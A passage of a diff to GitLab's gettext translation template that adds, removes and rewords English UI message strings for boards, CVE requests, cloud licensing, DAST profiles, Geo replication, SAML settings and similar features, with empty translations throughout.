+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -4818,9 +4952,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -4839,6 +4970,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -4848,6 +4982,11 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Boards|Board"
msgstr ""
@@ -4860,6 +4999,15 @@ msgstr ""
msgid "Boards|Expand"
msgstr ""
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr ""
@@ -4890,6 +5038,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5196,15 +5347,6 @@ msgstr ""
msgid "CHANGELOG"
msgstr ""
-msgid "CI / CD"
-msgstr ""
-
-msgid "CI / CD Analytics"
-msgstr ""
-
-msgid "CI / CD Settings"
-msgstr ""
-
msgid "CI Lint"
msgstr ""
@@ -5223,6 +5365,12 @@ msgstr ""
msgid "CI/CD"
msgstr ""
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr ""
@@ -5312,6 +5460,27 @@ msgstr ""
msgid "CPU"
msgstr ""
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5408,6 +5577,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr ""
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr ""
@@ -5528,6 +5700,9 @@ msgstr ""
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr ""
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr ""
@@ -5555,6 +5730,9 @@ msgstr ""
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr ""
@@ -5564,12 +5742,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr ""
@@ -6212,6 +6396,9 @@ msgstr ""
msgid "Close %{tabname}"
msgstr ""
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr ""
@@ -6245,6 +6432,48 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr ""
@@ -6278,9 +6507,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6299,12 +6525,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -6854,6 +7089,9 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7561,6 +7799,9 @@ msgstr ""
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7624,6 +7865,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -7909,6 +8153,9 @@ msgstr ""
msgid "Container does not exist"
msgstr ""
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr ""
@@ -7937,9 +8184,6 @@ msgid_plural "ContainerRegistry|%{count} Tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr ""
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8024,6 +8268,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr ""
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr ""
@@ -8042,6 +8289,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8107,6 +8357,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8329,6 +8582,9 @@ msgstr ""
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8374,9 +8630,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr ""
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr ""
@@ -8434,9 +8687,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8491,12 +8753,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr ""
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
+
+msgid "Could not remove %{user} from %{group}. User is not a group member."
+msgstr ""
+
msgid "Could not remove the trigger."
msgstr ""
@@ -8530,6 +8801,9 @@ msgstr ""
msgid "Could not upload your designs as one or more files uploaded are not supported."
msgstr ""
+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8539,17 +8813,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8694,9 +8966,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8718,6 +8987,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -8871,6 +9143,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -8934,6 +9209,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9236,8 +9514,10 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9332,6 +9612,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9401,6 +9684,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9461,6 +9750,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9494,6 +9786,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9524,12 +9819,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9607,6 +9914,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9637,6 +9947,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10054,13 +10367,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10171,9 +10490,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10201,9 +10517,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10317,9 +10630,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10479,13 +10789,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10500,7 +10810,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10754,6 +11064,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -10997,6 +11310,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11009,6 +11325,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11228,6 +11547,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11252,6 +11574,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11264,6 +11589,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11276,6 +11604,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11387,6 +11718,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11456,9 +11790,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12086,19 +12417,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12107,7 +12438,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12218,9 +12549,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12287,6 +12615,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12356,6 +12687,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12368,12 +12702,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12401,9 +12729,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12425,13 +12750,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12530,6 +12858,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12557,9 +12888,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12608,9 +12945,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12665,9 +12999,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13051,10 +13382,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13087,7 +13418,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13189,6 +13520,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13237,12 +13571,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13252,9 +13589,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13279,6 +13613,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13288,6 +13625,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13303,6 +13643,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13321,9 +13664,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13585,6 +13925,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13627,9 +13970,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13654,6 +14003,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13687,6 +14045,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13714,6 +14078,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13726,6 +14093,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13753,6 +14144,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -13765,6 +14159,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -13798,6 +14195,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -13843,6 +14243,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -13972,6 +14375,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14095,6 +14504,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14137,9 +14564,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14269,16 +14693,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14290,6 +14711,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14347,6 +14771,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
